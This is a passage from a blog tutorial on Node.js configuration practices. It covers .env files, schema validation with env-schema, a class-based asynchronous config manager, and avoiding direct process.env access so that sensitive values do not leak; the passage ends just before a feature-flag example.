&lt;p&gt;The first step is to load configuration data from a &lt;code&gt;.env&lt;/code&gt; file. This is a common pattern in Node.js applications, so any of you whom are fans of the &lt;a href=&quot;https://www.snyk.io/advisor/npm-package/dotenv&quot;&gt;dotenv&lt;/a&gt; library will be familiar with this approach. However, note, I won’t be using &lt;code&gt;dotenv&lt;/code&gt; directly.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;.env&lt;/code&gt; file is a simple text file, which contains key-value pairs, such as:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;PORT=3000&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;LOG_LEVEL=debug&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;DB_HOST=localhost&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;DB_PORT=5432&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Important to note:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;✅ the &lt;code&gt;.env&lt;/code&gt; file is not committed to source control&lt;/li&gt;
&lt;li&gt;✅ the &lt;code&gt;.env&lt;/code&gt; file is added to &lt;code&gt;.gitignore&lt;/code&gt; (along with its permutations such as &lt;code&gt;.env.local&lt;/code&gt;, &lt;code&gt;.env.development&lt;/code&gt;, &lt;code&gt;.env.test&lt;/code&gt;, etc)&lt;/li&gt;
&lt;li&gt;✅ In production, the configuration values are sourced from environment variables, not from the &lt;code&gt;.env&lt;/code&gt; file.&lt;/li&gt;
&lt;li&gt;✅ I do not have any other environment designation such as &lt;code&gt;.env.development&lt;/code&gt;, &lt;code&gt;.env.test&lt;/code&gt;, etc. I only have a single &lt;code&gt;.env&lt;/code&gt; file.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;step-2-use-configuration-schema-with-env-schema&quot;&gt;Step 2: Use configuration schema with &lt;code&gt;env-schema&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Configuration details are defined, validated, and enforced using a schema.&lt;/p&gt;
&lt;p&gt;I’m using the npm package &lt;a href=&quot;https://www.snyk.io/advisor/npm-package/env-schema&quot;&gt;env-schema&lt;/a&gt; to the define the configuration schema. For example:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; EnvSchema &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;env-schema&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;schema&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  type: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;object&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  required: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;PORT&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;LOG_LEVEL&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;DB_HOST&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;DB_PORT&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  ],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  properties: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    PORT: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      type: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;number&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      default: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;3000&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    LOG_LEVEL: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      type: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;string&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      default: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;info&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    DB_HOST: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      type: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;string&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      default: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;localhost&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    DB_PORT: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      type: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;number&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      default: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;5432&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;};&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This allows to define configuration details and enforce:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A specific strongly typed value, such as &lt;code&gt;number&lt;/code&gt; or &lt;code&gt;string&lt;/code&gt; for a configuration item.&lt;/li&gt;
&lt;li&gt;The configuration item is required, and must be present in the configuration data. Otherwise, the application crashes at bootstrap when configuration is initialized. This is a good practice, often known as &lt;a href=&quot;https://en.wikipedia.org/wiki/Fail-fast&quot;&gt;fail fast&lt;/a&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I previously written an article titled &lt;a href=&quot;https://lirantal.com/blog/configuration-decoded-lesser-known-tips-for-working-with-env-schema-in-nodejs&quot;&gt;Configuration Decoded: Lesser-Known Tips for Working with env-schema in Node.js&lt;/a&gt; which goes into more details about the &lt;code&gt;env-schema&lt;/code&gt; library and how to use custom validators in env-schema.&lt;/p&gt;
&lt;h3 id=&quot;step-3-use-a-configuration-manager-instead-of-a-singleton&quot;&gt;Step 3: Use a configuration manager instead of a singleton&lt;/h3&gt;
&lt;p&gt;Node.js module system, commonly known as CommonJS (CJS), follows a singleton pattern. This means that when a module is imported, it is cached and subsequent imports of the same module return the same instance. This could lead to challenges introduced during tests, where you might want to create a new instance of the configuration for each test, with different values.&lt;/p&gt;
&lt;p&gt;Avoid the following anti-pattern:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// config.js&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;config&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;./config.json&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;module&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;exports&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; config&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Instead, create an abstraction wrapper around the configuration data, ideally a class, which can be instantiated multiple times and hold its state internally instead of holding it via global variables.&lt;/p&gt;
&lt;p&gt;The following is a simple class blueprint for a configuration manager that is responsible for loading the configuration data, validating it against the schema, and returning the configuration data.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;Config&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;constructor&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.config &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;load&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;envSchemaOptions&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {}, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;overrideConfigData&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {}) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// load configuration..&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// ..&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.config;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { Config };&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;step-4-load-configuration-asynchronously&quot;&gt;Step 4: Load configuration asynchronously&lt;/h3&gt;
&lt;p&gt;It is common for Node.js applications to load configuration synchronously, because developers rely on the Node.js module system (&lt;code&gt;config = require(&apos;./config&apos;)&lt;/code&gt;). This is also quite popular in codebases that use &lt;code&gt;dotenv&lt;/code&gt; which recommends a similar pattern: &lt;code&gt;require(&apos;dotenv&apos;).config()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;There’s nothing inherently wrong with configuration data that is loaded synchronously, but as you’ve probably experienced with JavaScript, a single function’s update to asynchronous pattern (Hi async/await!) can lead to a cascading effect of code refactors across the rest of the codebase.&lt;/p&gt;
&lt;p&gt;Therefore, I recommend to always load configuration asynchronously, even if it is a simple &lt;code&gt;.env&lt;/code&gt; file. If in the future you’d need to load secrets via remote AWS KMS (Key Management System) or similar external resource use-cases, you wouldn’t have to pay the cost of code refactor.&lt;/p&gt;
&lt;p&gt;Whether your choice is class-based or function-based, make sure you load configuration asynchronously. For example:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;Config&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// [...]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;load&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// load configuration..&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// ..&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.config;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;step-4-dont-leak-configuration-properties&quot;&gt;Step 4: Don’t leak configuration properties&lt;/h3&gt;
&lt;p&gt;If you use &lt;code&gt;dotenv&lt;/code&gt; with &lt;code&gt;.env&lt;/code&gt; files, you might be familiar with the following pattern:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Load the configuration:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// (which really means it populates process.env with the configuration)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;dotenv&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;config&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Then later:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;dbHost&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; process.env.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;DB_HOST&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;No matter what, never access configuration data via &lt;code&gt;process.env&lt;/code&gt; directly. This is a common anti-pattern in Node.js applications, and it is dangerous because it exposes the implementation details of the configuration data, such as the environment variable names. It also exposes the entire &lt;code&gt;process.env&lt;/code&gt; object which might contain sensitive data that you don’t want to leak.&lt;/p&gt;
&lt;p&gt;In this example, the configuration is loaded via &lt;code&gt;dotenv&lt;/code&gt; and the configuration values are accessed via &lt;code&gt;process.env&lt;/code&gt;. This is dangerous because the data in &lt;code&gt;process.env&lt;/code&gt; holds more than just the configuration data, it also holds the environment variables of the current process and potentially other sensitive data that might end up leaking.&lt;/p&gt;
&lt;p&gt;Instead, make sure that you are always forcing that the configuration data you have in the application’s state is only scoped to the configuration data that you defined in the schema, and not the entire &lt;code&gt;process.env&lt;/code&gt; object.&lt;/p&gt;
&lt;p&gt;If you work with the &lt;code&gt;env-schema&lt;/code&gt; library, you get this by default when working with a defined schema.
If you work with &lt;code&gt;dotenv&lt;/code&gt;, make sure you return the config object from &lt;code&gt;dotenv.config()&lt;/code&gt; such as:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; dotenv &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;dotenv&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;config&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; dotenv.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;config&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// your configuration data is now available via&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// `config.parsed` property&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note, that &lt;code&gt;config.parsed&lt;/code&gt; in the above configuration loading example doesn’t enforce or validated the configuration data against a schema, it only scopes the configuration data to the &lt;code&gt;.env&lt;/code&gt; file.&lt;/p&gt;
&lt;h3 id=&quot;step-5-rely-on-feature-flags-instead-of-environment-designation&quot;&gt;Step 5: Rely on feature flags instead of environment designation&lt;/h3&gt;
&lt;p&gt;I’ve seen many Node.js applications that use environment designation to load different configuration data. For example, a &lt;code&gt;.env.development&lt;/code&gt; file is used to load configuration data for the development environment, and then the application code makes use of this check to toggle on or off a specific feature.&lt;/p&gt;
&lt;p&gt;Following is an example of an anti pattern that uses environment designation to toggle on or off a feature:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (process.env.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;NODE_ENV&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;development&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  apm.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;disable&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  tracing.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;disable&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Instead of the above, prefer feature flags. For example, the following is a better approach:&lt;/p&gt;
